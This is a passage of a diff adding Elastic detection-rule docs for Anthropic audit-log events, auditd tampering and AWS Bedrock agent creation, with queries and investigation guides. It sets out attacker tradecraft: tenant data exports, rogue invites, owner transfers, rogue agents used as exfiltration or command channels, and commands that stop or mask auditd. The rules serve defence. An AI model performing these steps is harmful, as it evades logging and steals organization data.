b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-data-export-accessed.asciidoc @@ -0,0 +1,117 @@ +[[prebuilt-rule-8-19-36-anthropic-organization-data-export-accessed]] +=== Anthropic Organization Data Export Accessed + +Starting an organization data export only signals intent. Accessing the export archive via its signed URL means the actor actually downloaded chats, projects, user metadata, and configuration. An attacker with administrative access can use this to exfiltrate intellectual property and credentials at scale. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Collection +* Tactic: Exfiltration +* Mitre Atlas: AML.T0085 +* Mitre Atlas: AML.T0025 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Organization Data Export Accessed* + + +The export archive was downloaded (not merely requested). Reconstruct lifecycle with `org_data_export_started` / +`org_data_export_completed` for the same `organization.id`. + +Unauthorized = no legal/compliance/offboarding ticket, download without a matching started event or outside the +approved window, or export preceded by sudden admin grants / key creation / logging disablement. + + +*Possible investigation steps* + + +- Identify actor (`user_actor` → email/IP/UA) and whether a started/completed export exists for the same org. +- Flag downloads lacking a matching start, or occurring far from any approved hold/migration window. +- Correlate with admin role grants, admin API key creation, compliance logging changes, or SSO modifications. +- Determine whether the archive left approved storage or corporate networks (DLP / egress if available). + + +*False positive analysis* + + +- Planned audit or offboarding exports include a download by authorized staff — ticket closes as FP. + + +*Response and remediation* + + +- On unauthorized access: revoke admin for the actor, contain any copies of the archive, and review other admin + changes in the same window. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "file") and + event.action == "org_data_export_accessed" +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, source.*, user_agent.*, anthropic.audit.*, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-domain-boundary-changed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-domain-boundary-changed.asciidoc new file mode 100644 index 0000000000..467065caf1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-domain-boundary-changed.asciidoc @@ -0,0 +1,113 @@ +[[prebuilt-rule-8-19-36-anthropic-organization-domain-boundary-changed]] +=== Anthropic Organization Domain Boundary Changed + +Verified organization domains control which email addresses can join or be pulled into an Anthropic tenant. Verifying, claiming, adding, or removing a domain changes the tenant boundary and can pull in attacker-controlled mailboxes or push out legitimate corporate domains. These events are infrequent and affect organization-wide membership trust. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Domain: Identity +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Persistence + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Organization Domain Boundary Changed* + + +Verified domains control which email domains are trusted for membership. Verifying, adding, removing, or claiming a +domain changes the tenant boundary (attacker-controlled mailboxes in, or corporate domains out). + +Unauthorized = domain not on the corporate allowlist / merger plan, `domain_claim_initiated` without DNS ownership +work, or domain change paired with external invites or SSO changes. + + +*Possible investigation steps* + + +- Read `event.action` and `anthropic.audit.domain` (may be empty on `org_domain_add_initiated` / + `domain_claim_initiated` — pivot org + nearby domain events to recover the name). +- Validate actor (email/IP/UA for `user_actor`) against identity admins. +- For claims/adds, confirm DNS ownership work was planned. Look for related invites, SSO, or membership changes in + the same window. + + +*False positive analysis* + + +- New Enterprise onboarding routinely verifies corporate domains — match change management. + + +*Response and remediation* + + +- On unauthorized change: revert via Anthropic administration and review users added under the affected domain. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "configuration") and + event.action in ( + "org_domain_verified", + "org_domain_removed", + "org_domain_add_initiated", + "domain_claim_initiated" + ) +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, source.*, user_agent.*, anthropic.audit.*, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-member-and-group-enumeration.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-member-and-group-enumeration.asciidoc new file mode 100644 index 0000000000..9381434fea --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-member-and-group-enumeration.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-36-anthropic-organization-member-and-group-enumeration]] +=== Anthropic Organization Member and Group Enumeration + +Detects a single user performing at least two distinct organization discovery actions within a 10-minute window: listing users, exporting members, or viewing groups. Chaining these read actions maps membership and group structure and commonly precedes targeted role grants, invites, or data collection against high-value accounts. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-11m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Discovery +* Mitre Atlas: AML.T0075 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Organization Member and Group Enumeration* + + +One email performed at least two distinct discovery actions among `org_users_listed`, `org_members_exported`, and +`group_list_viewed` in a short window — reconnaissance of who is in the tenant. + +Escalate when scripting UA, follow-on invites/role grants/SSO changes/exports appear, or the actor is not an identity +admin. Close as FP for scheduled access reviews or onboarding console browsing with a ticket. + + +*Possible investigation steps* + + +- Read `Esql.event_action_values` to see which discovery actions combined; all three in one window is stronger than + two. +- Inspect IP/UA/actor type for automation or unfamiliar clients. +- Pivot the same actor/org for follow-on admin or project role grants, invites, SSO changes, or data exports. +- Note: some `org_members_exported` without user email (e.g. certain `anthropic_actor` cases) are out of scope. + + +*False positive analysis* + + +- Membership exports during access reviews commonly combine two of these actions briefly. + + +*Response and remediation* + + +- On unauthorized recon: revoke sessions, review recent role and invite changes, and tighten least privilege on + identity read actions where possible. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* +| where + data_stream.dataset == "anthropic.audit" and + event.action in ("org_members_exported", "org_users_listed", "group_list_viewed") and + user.email is not null +| stats + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.event_action_values = values(event.action), + Esql.event_count = count(*), + Esql.event_id_values = values(event.id), + Esql.source_ip_values = values(source.ip), + Esql.user_agent_original_values = values(user_agent.original), + Esql.anthropic_audit_actor_type_values = values(anthropic.audit.actor.type), + Esql.user_id_values = values(user.id), + Esql.timestamp_first_seen = min(@timestamp), + Esql.timestamp_last_seen = max(@timestamp) + by user.email, organization.id +| where Esql.event_action_count_distinct >= 2 +| keep user.email, organization.id, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-user-invite-sent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-user-invite-sent.asciidoc new file mode 100644 index 0000000000..b6821e9c91 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-organization-user-invite-sent.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-36-anthropic-organization-user-invite-sent]] +=== Anthropic Organization User Invite Sent + +Sending an organization user invite creates a path for a new member to join the Anthropic tenant with a chosen role. An adversary who compromises an administrator or admin API key can invite a mailbox they control and accept the invite to gain durable access. Invites may target internal corporate addresses or external domains; this rule does not distinguish them because invite events do not carry verified organization domains for reliable comparison. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Persistence +* Mitre Atlas: AML.T0125 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Organization User Invite Sent* + + +A successful `org_user_invite_sent` creates a path for a new member. Invitee is `user.target.email` (also +`related.user`); role on accept is `anthropic.audit.invited_role` when present. Audit events do not include the org's +verified domain list — domain judgment is triage's job. + +Unauthorized / high priority: invitee domain outside known corporate domains, `invited_role` of admin (or similarly +privileged), actor is unexpected / API key, or invite followed by accept + privileged activity. Close as FP when HR/IT +ticket names the invitee and role. + + +*Possible investigation steps* + + +- Compare invitee domain to trusted corporate domains; treat unexpected external domains as higher priority. +- Branch actor: `user_actor` (email/IP/UA) vs `admin_api_key_actor` + (`anthropic.audit.actor.admin_api_key_id` in inventory?). +- Search for `org_user_invite_accepted` for the same `anthropic.audit.invite_id` or invitee email. +- Look nearby for role grants, SSO changes, or admin API key creation from the same actor. + + +*False positive analysis* + + +- Routine onboarding invites are FP when an HR/IT ticket names the invitee domain and `invited_role`. + + +*Response and remediation* + + +- On unauthorized invite: delete/revoke the pending invite (and remove the user if already accepted), review other IAM + changes by the same actor, and rotate compromised admin credentials or API keys. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "iam") and + event.action == "org_user_invite_sent" and + event.outcome == "success" +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, related.*, source.*, user_agent.*, anthropic.audit.*, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-primary-owner-transferred.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-primary-owner-transferred.asciidoc new file mode 100644 index 0000000000..f18102fb3f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-primary-owner-transferred.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-36-anthropic-primary-owner-transferred]] +=== Anthropic Primary Owner Transferred + +Primary ownership is the highest administrative authority in an Anthropic organization, covering billing, membership, and organization-wide settings. Transferring ownership to an attacker-controlled account can lock out the legitimate administrator from recovery paths that depend on the original owner. Attackers often do this after role escalation so defenders cannot reverse earlier privilege changes through normal administration. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Resources: Investigation Guide +* Rule Type: ES|QL +* Tactic: Privilege Escalation +* Mitre Atlas: AML.T0012 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Primary Owner Transferred* + + +Primary ownership is the highest Anthropic org authority (billing, membership, org-wide settings). Transfers should +be rare and ticketed. Actor fields identify who initiated the transfer — not the new owner +(`anthropic.audit.previous_owner_id` / `new_owner_id`). + +Unauthorized = no HR/IT offboarding or ownership-change ticket naming both parties, or the new owner was recently +invited / granted admin and immediately received ownership, especially with follow-on SSO/key/export changes. + + +*Possible investigation steps* + + +- Map `anthropic.audit.previous_owner_id` → `new_owner_id` and resolve initiator (`actor.type`; for `user_actor` + check email/IP/UA). +- Before the transfer: look for `claude_user_role_updated` with `anthropic.audit.current_role: admin`, invite accept, + or admin API key creation for the new owner path. +- After the transfer: look for SSO changes, exports, compliance logging disablement, or IP restriction deletes by the + new owner. +- Contact previous and new owners only after ticket/timeline triage; escalate when ticket is missing or the new owner + chain looks staged. + + +*False positive analysis* + + +- Reorgs and admin departures are valid — require matching change management / HR records. + + +*Response and remediation* + + +- On unauthorized transfer: engage Anthropic support and internal IT to recover ownership, revoke the new owner's + sessions/keys, and review every admin change made under the new owner account. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-anthropic.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "anthropic.audit" and + mv_contains(event.category, "configuration") and + event.action == "primary_owner_transferred" and + event.outcome == "success" +| keep _id, _version, _index, @timestamp, event.*, organization.*, user.*, source.*, user_agent.*, anthropic.audit.*, data_stream.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-sensitive-claude-project-role-assigned-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-sensitive-claude-project-role-assigned-to-user.asciidoc new file mode 100644 index 0000000000..1ecc0b7d6b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-anthropic-sensitive-claude-project-role-assigned-to-user.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-36-anthropic-sensitive-claude-project-role-assigned-to-user]] +=== Anthropic Sensitive Claude Project Role Assigned to User + +Detects when a Claude project owner or editor role is granted through a `role_assignment_granted` event. Project owners and editors can access project chats, artifacts, and knowledge bases that may hold sensitive data. An attacker with organization access can grant these roles to persist access to high-value project content without holding organization admin privileges. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-anthropic.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://platform.claude.com/docs/en/api/compliance/activities/list + +*Tags*: + +* Domain: GenAI +* Platform: Anthropic +* Data Source: Anthropic Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Use Case: UEBA +* Resources: Investigation Guide +* Rule Type: New Terms +* Tactic: Persistence +* Tactic: Privilege Escalation +* Mitre Atlas: AML.T0012 + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Anthropic Sensitive Claude Project Role Assigned to User* + + +First-seen grant of `chat_project:owner` or `chat_project:editor` on a Claude project (`organization.id` + +`anthropic.audit.resource_id`). Organization membership `admin` promotions (`claude_user_role_updated`) are covered +by **Anthropic Admin Role Assigned to User**. Self-assignment at project creation is common; `user.id` may be absent +for `anthropic_actor`. + +Unauthorized = grant to an unexpected collaborator (especially external), no project onboarding ticket, or followed +by export / public artifact sharing / logging changes on the same project. Close as FP for known team staffing with +ticket or a recurring collaborator baseline on that project. + + +*Possible investigation steps* + + +- When `user_actor`, identify assigner via email/IP/UA. Review role, `anthropic.audit.resource_id`, and grantee fields + (`anthropic.audit.target_id` / `target_type` / `related.user`) when present. +- Correlate with org membership changes, exports, or artifact sharing involving the same project or users. +- Escalate when the grantee is new/external or privileged data access follows; close when ticket/baseline matches. + + +*False positive analysis* + + +- Routine project staffing and self-assignment at creation are expected — baseline recurring collaborators. + + +*Response and remediation* + + +- On unauthorized grant: revoke the project role on that `anthropic.audit.resource_id`, review other changes on the + same project/org, and audit project content access and recent exports. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "anthropic.audit" and + event.category: "iam" and + event.action: "role_assignment_granted" and + user.target.roles: ("chat_project:owner" or "chat_project:editor") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-attempt-to-disable-auditd-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-attempt-to-disable-auditd-service.asciidoc new file mode 100644 index 0000000000..bd6325d631 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-attempt-to-disable-auditd-service.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-36-attempt-to-disable-auditd-service]] +=== Attempt to Disable Auditd Service + +Adversaries may attempt to disable the Auditd service to evade detection. Auditd is a Linux service that provides system auditing and logging. Disabling the Auditd service can prevent the system from logging important security events, which can be used to detect malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable Auditd Service* + + +Auditd is a critical Linux service responsible for system auditing and logging, capturing security-relevant events. Adversaries may target this service to evade detection by disabling it, thus preventing the logging of their activities. The detection rule identifies suspicious processes attempting to stop or disable Auditd, such as using commands like `service stop` or `systemctl disable`, signaling potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the user account associated with the suspicious command execution, focusing on the process fields such as process.name and process.args. +- Check the system logs for any preceding or subsequent suspicious activities around the time of the alert, particularly looking for other defense evasion tactics or unauthorized access attempts. +- Investigate the command history of the user identified to determine if there are any other unauthorized or suspicious commands executed. +- Verify the current status of the Auditd service on the affected host to ensure it is running and properly configured. +- Correlate the alert with any other security events or alerts from the same host or user to identify potential patterns or broader attack campaigns. + + +*False positive analysis* + + +- System administrators may intentionally stop or disable the Auditd service during maintenance or troubleshooting. To handle this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or configuration management tools might stop or disable Auditd as part of routine system updates or deployments. Identify these scripts and whitelist their activities to prevent false alerts. +- Some Linux distributions or custom setups might have alternative methods for managing services that could trigger this rule. Review and adjust the detection criteria to align with the specific service management practices of your environment. +- In environments where Auditd is not used or is replaced by another logging service, the rule might trigger unnecessarily. Consider disabling the rule or adjusting its scope in such cases. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to disable the Auditd service to stop the adversary's actions. +- Re-enable and restart the Auditd service on the affected system to ensure that auditing and logging are resumed, capturing any further suspicious activities. +- Conduct a thorough review of the system logs and audit records to identify any unauthorized changes or additional indicators of compromise that may have occurred prior to the alert. +- Apply any necessary security patches or updates to the affected system to address vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future attempts to disable critical security services. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and ( + (process.name == "service" and process.args == "stop") or + (process.name == "chkconfig" and process.args == "off") or + (process.name == "update-rc.d" and process.args in ("remove", "disable")) or + (process.name == "systemctl" and process.args in ("disable", "stop", "kill", "mask")) +) and +process.args in ("auditd", "auditd.service") and +not process.parent.name == "auditd.prerm" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agent-created-by-iam-user-or-root.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agent-created-by-iam-user-or-root.asciidoc new file mode 100644 index 0000000000..48777a44e6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-aws-bedrock-agent-created-by-iam-user-or-root.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-36-aws-bedrock-agent-created-by-iam-user-or-root]] +=== AWS Bedrock Agent Created by IAM User or Root + +Identifies AWS Bedrock Agent creation performed directly by an IAM user or the root account. Bedrock Agents are autonomous AI systems that execute multi-step tasks, invoke Lambda action groups to call external APIs, and query knowledge bases. Adversaries with access to an AWS account can create rogue agents configured to exfiltrate data via action group Lambda functions, pivot to other services, or act as a persistent AI-driven command-and-control channel. This rule is scoped to IAMUser and Root identity types — AssumedRole sessions (which represent automated CI/CD pipelines and SSO-federated engineers) are excluded to avoid global false positives from legitimate deployment automation that varies widely across customer environments. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/agents.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_agent_CreateAgent.html + +*Tags*: + +* Domain: Cloud +* Domain: GenAI +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Service: AWS Bedrock +* Service: AWS IAM +* Mitre Atlas: AML.T0081 +* Mitre Atlas: AML.T0103 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Agent Created by IAM User or Root* + + +AWS Bedrock Agents can autonomously perform complex tasks by combining foundation models with action groups +(Lambda functions) and knowledge bases. A rogue agent could serve as a persistent AI-driven foothold, executing +attacker-controlled instructions via inference requests. + + +*Possible investigation steps* + + +- **Identity**: `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.type`. This rule fires only + for IAMUser or Root — both are direct human credentials, not automated pipeline roles. Confirm the user is + known and authorized to create agents. + +- **Agent configuration** in `aws.cloudtrail.request_parameters`: + - `agentName` — does the name match known internal projects? + - `foundationModel` — which model was selected? Expensive models (Claude Opus-class) indicate higher cost risk. + - `instruction` — the system prompt. Adversarial, minimal, or exfiltration-oriented instructions are a red flag. + - `actionGroupExecutor.lambda` — Lambda ARN presence means the agent can invoke external code. + +- **Cross-account indicators**: Lambda ARNs in action groups belonging to a different account than + `cloud.account.id` indicate external code execution capability. + +- **Follow-on activity**: Look for `PrepareAgent`, `CreateAgentAlias`, `CreateAgentActionGroup`, or + `AssociateAgentKnowledgeBase` from the same identity within the next hour. + + +*False positive analysis* + +- Developers creating agents interactively with personal IAM user credentials. Confirm the agent is for a known + project and the IAM user is authorized. Production agent deployment should use IAM roles — 